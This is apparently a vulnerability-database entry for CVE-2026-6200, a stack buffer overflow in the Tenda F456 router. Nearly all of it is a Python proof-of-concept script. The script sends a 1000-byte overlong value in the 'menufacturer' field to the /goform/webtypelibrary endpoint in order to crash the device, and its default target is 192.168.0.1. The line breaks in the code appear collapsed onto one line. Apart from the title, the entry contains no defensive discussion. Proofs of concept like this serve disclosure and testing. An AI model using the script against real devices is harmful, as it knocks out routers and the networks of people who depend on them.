CVE-2026-6200 Tenda F456 栈缓冲区溢出漏洞

import requests def exploit_tenda_f456(target_ip): """ PoC for CVE-2026-6200 Stack-based Buffer Overflow in Tenda F456 Target: /goform/webtypelibrary Vulnerable Parameter: menufacturer """ url = f"http://{target_ip}/goform/webtypelibrary" # Creating a large payload to trigger the stack overflow # Pattern 'A' * 1000 is used to demonstrate the crash payload = b"A" * 1000 data = { "menufacturer": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Request sent. Status Code: {response.status_code}") print("[+] Check if the device has crashed or responded unexpectedly.") except requests.exceptions.RequestException as e: print(f"[!] Request failed or device crashed: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_tenda_f456(target)